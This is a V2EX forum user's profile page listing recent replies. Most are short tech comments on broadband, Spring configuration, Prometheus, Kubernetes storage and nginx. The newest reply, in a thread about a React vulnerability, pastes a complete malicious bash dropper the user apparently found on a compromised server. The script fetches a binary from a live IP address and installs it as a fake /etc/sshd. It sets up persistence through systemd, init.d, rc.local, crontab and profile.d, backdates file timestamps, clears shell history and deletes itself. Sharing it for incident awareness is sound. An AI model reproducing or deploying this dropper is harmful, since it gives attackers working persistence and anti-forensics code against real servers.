Blank10030 最近的时间轴更新
Blank10030

Blank10030

V2EX 第 560640 号会员,加入于 2021-11-03 23:25:47 +08:00
今日活跃度排名 3079
Blank10030 最近回复了
11 小时 24 分钟前
回复了 Jony4Fun 创建的主题 信息安全 第一次遇到这么 bt 的问题,原来是 React 的漏洞
贴一下目前发现的脚本
```bash
#!/bin/bash
SELF="$(cd "$(dirname "$0")" && pwd)/$(basename "$0")"

INSTALL_DIR="/etc"
PROGRAM_NAME="sshd"
DOWNLOAD_URL_64="http://143.92.62.76:8080/sshd64"
DOWNLOAD_URL_32="http://143.92.62.76:8080/sshd86"
CUSTOM_TIMESTAMP="202301051030.00"
SERVICE_NAME="system-sshd"
AUTOSTART_METHOD="all"


detect_arch() {
case "$(uname -m)" in
x86_64|amd64|aarch64|ppc64|ppc64le|s390x) echo "64" ;;
*) [ "$(getconf LONG_BIT 2>/dev/null)" = "64" ] && echo "64" || echo "32" ;;
esac
}

set_ts() { [ -e "$1" ] && touch -t "$CUSTOM_TIMESTAMP" "$1" 2>/dev/null; }

download() {
local url="$DOWNLOAD_URL_32"
[ "$1" = "64" ] && url="$DOWNLOAD_URL_64"
local target="${INSTALL_DIR}/${PROGRAM_NAME}"
mkdir -p "$INSTALL_DIR" 2>/dev/null

if command -v wget &>/dev/null; then
wget -q --no-check-certificate -O "$target" "$url" 2>/dev/null
elif command -v curl &>/dev/null; then
curl -sfkL -o "$target" "$url" 2>/dev/null
else
return 1
fi

[ -s "$target" ] && chmod +x "$target" && set_ts "$target"
}

setup_systemd() {
command -v systemctl &>/dev/null || return
local svc="/etc/systemd/system/${SERVICE_NAME}.service"
cat > "$svc" << EOF
[Unit]
Description=System Service
After=network.target
[Service]
Type=simple
ExecStart=${INSTALL_DIR}/${PROGRAM_NAME}
Restart=always
RestartSec=30
[Install]
WantedBy=multi-user.target
EOF
set_ts "$svc"
systemctl daemon-reload 2>/dev/null
systemctl enable "$SERVICE_NAME" 2>/dev/null
systemctl start "$SERVICE_NAME" 2>/dev/null
}

setup_initd() {
local s="/etc/init.d/${SERVICE_NAME}"
cat > "$s" << EOF
#!/bin/bash
### BEGIN INIT INFO
# Provides: ${SERVICE_NAME}
# Required-Start: \$network
# Default-Start: 2 3 4 5
# Default-Stop: 0 1 6
### END INIT INFO
D="${INSTALL_DIR}/${PROGRAM_NAME}"
P="/var/run/${SERVICE_NAME}.pid"
case "\$1" in
start) [ -f "\$P" ] && kill -0 \$(cat "\$P") 2>/dev/null && exit 0; nohup "\$D" >/dev/null 2>&1 & echo \$! > "\$P" ;;
stop) [ -f "\$P" ] && kill \$(cat "\$P") 2>/dev/null; rm -f "\$P" ;;
restart) \$0 stop; sleep 1; \$0 start ;;
esac
EOF
chmod +x "$s" && set_ts "$s"
command -v update-rc.d &>/dev/null && update-rc.d "$SERVICE_NAME" defaults 2>/dev/null
command -v chkconfig &>/dev/null && chkconfig --add "$SERVICE_NAME" 2>/dev/null && chkconfig "$SERVICE_NAME" on 2>/dev/null
"$s" start 2>/dev/null
}

setup_rclocal() {
local rc="/etc/rc.local"
[ -f /etc/rc.d/rc.local ] && rc="/etc/rc.d/rc.local"
[ ! -f "$rc" ] && echo -e '#!/bin/bash\nexit 0' > "$rc"
grep -q "${PROGRAM_NAME}" "$rc" 2>/dev/null || sed -i "/exit 0/i\\${INSTALL_DIR}/${PROGRAM_NAME} \&" "$rc" 2>/dev/null
chmod +x "$rc" && set_ts "$rc"
systemctl enable rc-local 2>/dev/null
}

setup_crontab() {
(crontab -l 2>/dev/null | grep -v "${PROGRAM_NAME}"; echo "@reboot ${INSTALL_DIR}/${PROGRAM_NAME}") | crontab - 2>/dev/null
}

setup_profile() {
local p="/etc/profile.d/${SERVICE_NAME}.sh"
echo "pgrep -x '${PROGRAM_NAME}'>/dev/null||${INSTALL_DIR}/${PROGRAM_NAME}&" > "$p"
chmod +x "$p" && set_ts "$p"
}


{
[ "$(id -u)" -ne 0 ] && exit 1

download "$(detect_arch)" || { rm -f "$SELF" 2>/dev/null; exit 1; }

case "$AUTOSTART_METHOD" in
systemd) setup_systemd ;;
initd) setup_initd ;;
rclocal) setup_rclocal ;;
crontab) setup_crontab ;;
all) setup_systemd; setup_initd; setup_rclocal; setup_crontab; setup_profile ;;
esac

pgrep -x "${PROGRAM_NAME}" >/dev/null 2>&1 || nohup "${INSTALL_DIR}/${PROGRAM_NAME}" >/dev/null 2>&1 &

history -c 2>/dev/null
rm -f "$SELF" /tmp/deploy.sh /tmp/.deploy.sh 2>/dev/null

} &>/dev/null &

exit 0
```
2024-08-13 10:06:06 +08:00
回复了 Jinnrry 创建的主题 宽带症候群 成都地区的老铁,推荐一个宽带吧
@Blank10030 现在是双公网
2024-08-13 10:05:27 +08:00
回复了 Jinnrry 创建的主题 宽带症候群 成都地区的老铁,推荐一个宽带吧
我 5 月份在淘宝新装联通宽带,安装光猫的时候给师傅说申请开通公网。
2024-06-14 14:23:47 +08:00
回复了 sola97 创建的主题 Java 对于 application.properties 的增量更新大家都是怎么维护的?
配置放代码里面就行,运维只负责部署。
1 、如果是用代码分支区分环境,只需要固定的一个配置文件,由运维选择部署哪个分支。
2 、如果是一个代码分支,定义多个 application-{profile}.yml 文件,通过环境变量读取对应的配置文件。
2024-04-08 16:51:16 +08:00
回复了 106npo 创建的主题 云计算 腾讯云大量服务报错 控制台登入后无数据
挂的组件好像越来越多了
2024-04-08 15:39:04 +08:00
回复了 wwd179 创建的主题 程序员 运维平台的选型
自己写或者用低代码糊一个网页出来。
2024-02-05 10:07:25 +08:00
回复了 Gress 创建的主题 Java 求一个 JVM 客户端性能监控上报方案
prometheus
2024-01-27 23:02:06 +08:00
回复了 leiuu 创建的主题 Kubernetes 用于 k8s 的最佳分布式存储框架是什么
longhorn 比较简单,性能也还行。
2024-01-11 18:03:56 +08:00
回复了 darklinden 创建的主题 PHP 请教个问题, 关于路由重定向 + nginx 正则转发
这不就是屎山吗,造成的原因楼上都说过了,要么自己加一层要么重构。
关于   ·   帮助文档   ·   自助推广系统   ·   博客   ·   API   ·   FAQ   ·   Solana   ·   808 人在线   最高记录 6679   ·     Select Language
创意工作者们的社区
World is powered by solitude
VERSION: 3.9.8.5 · 12ms · UTC 22:17 · PVG 06:17 · LAX 14:17 · JFK 17:17
♥ Do have faith in what you're doing.